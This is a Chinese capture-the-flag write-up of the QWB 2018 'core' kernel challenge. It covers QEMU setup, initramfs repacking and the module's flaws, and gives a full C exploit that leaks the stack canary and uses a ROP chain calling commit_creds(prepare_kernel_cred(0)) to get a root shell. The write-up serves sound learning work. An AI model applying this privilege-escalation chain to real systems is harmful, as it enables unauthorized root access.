记录强网杯2018一道内核pwn的解题思路

0x01 前言

这是2018年强网杯的第一道内核pwn core,当时是没做出来,赛后看了一些大佬的博客总算是复现出来了。kernel pwn与用户态的pwn还是有不少区别,刚开始面对这道题,感觉上是无从下手的,比如,如何启动内核、编译exp,这篇文章会着重对这些套路逐一说明。

题目链接:https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg 密码:ldiy

 

0x02 环境搭建

安装qemu

$ apt install qemu qemu-system

也可以编译安装qemu,看这篇:玩转qemu之环境搭建

qemu启动命令

-m megs set virtual RAM size to megs MB [default=128]
-kernel bzImage use ‘bzImage’ as kernel image
-initrd file use ‘file’ as initial ram disk
-append cmdline use ‘cmdline’ as kernel command line
-s shorthand for -gdb tcp::1234

编辑start.sh

qemu-system-x86_64 
-m 128M 
-kernel ./bzImage 
-initrd  ./core.cpio 
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" 
-s  
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 
-nographic  

这样就启动完成

 

0x03 干掉定时power down

内核跑一段时间后就会自动power down

解包core.cpio干掉定时死机

$ mkdir core
$ mv core.cpio ./core/core.cpio.gz
$ cd core
$ gunzip core.cpio.gz
$ cpio -idmv < core.cpio
$ rm -rf core.cpio
$ nano init

删掉这句

重新打包

$ ./gen_cpio.sh core.cpio
$ mv core.cpio ../core.cpio
$ cd ..
$ rm -rf core

再次启动内核,定时power down已经没有了

 

0x04 题目分析

/tmp目录下有一个符号文件kallsyms,可以leak出内核信息,找到commit_creds和prepare_kernel_cred的地址

prepare_kernel_cred        0xffffffff8c09cce0
commit_creds            0xffffffff8c09c8e0

按照kernel pwn的套路,这个core.ko就是存在漏洞的模块

core.ko开了canary和nx,内核开了kaslr没有开smep

在解包文件里找到core.ko,主要有core_ioctl、core_read、core_write、core_release、core_copy_func几个操作

ioctl函数,根据传入命令a2,分别调用函数read、wirte、copy_func

copy_func函数,当传入参数a1为负数会产生溢出

read函数,配合print操作修改偏移off,导致内核栈上的信息泄露,leak出canary

write函数,将rop_chain拷贝到bss段,然后可以再调用copy_func拷贝到内核栈上

 

0x05 exploit

构造rop修改cred结构root提权

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define COMMAND_READ 0x6677889B
#define COMMAND_PRINT 0x6677889C
#define COMMAND_COPY 0x6677889A

#define u64 unsigned long long

unsigned long user_cs, user_ss, user_rflags;

u64 commit_creds_addr = 0;
u64 prepare_kernel_cred_addr = 0;

static void save_state(){
    asm(
    "movq %%cs, %0n"
    "movq %%ss, %1n"
    "pushfqn"
    "popq %2n"
    : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

void set_uid()
{
    char* (*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char*) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

void win()
{
    system("/bin/sh");
}

int main(int argc,char **argv)
{
    printf("prepare_kernel_cred: ", &prepare_kernel_cred_addr);
    scanf("%llx", &prepare_kernel_cred_addr);
    printf("commit_creds: ", &commit_creds_addr);
    scanf("%llx", &commit_creds_addr);

    char s[100];
    char* leak = (char*)malloc(1024);
    int fd = open("/proc/core",O_RDWR);

    /*----------------------info leak------------------------*/
    ioctl(fd,COMMAND_PRINT,0x40);
    ioctl(fd,COMMAND_READ,leak);
    u64 canary = ((u64*)leak)[0];
    u64 ret_addr = ((u64*)leak)[2];

    /*----------------------rop chain------------------------*/
    u64 iret_addr = prepare_kernel_cred_addr - 311838;
    save_state();
    u64 rop_chain[]={
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    0x9090909090909090,
    canary,
    0x9090909090909090,
    &set_uid,
    ret_addr-0xc5,
    &s-0x100,
    iret_addr,
    &win,
    user_cs,
    user_rflags,
    &s-0x100,
    user_ss
    };
    write(fd,rop_chain,1024);
    ioctl(fd,COMMAND_COPY,0xff00000000000100);

    return 0;
}

编译exp,拷贝到/tmp目录

$ gcc -Os -static exp.c -lutil -o exp

重新打包cpio

$ find . | cpio -o -H newc | gzip > ../core.cpio

启动内核,因为开了kaslr,需要重新确定prepare_kernel_cred、commit_creds地址

root~

 

0x06 参考

强网杯2018 core环境搭建
一道简单内核题入门内核利用

(完)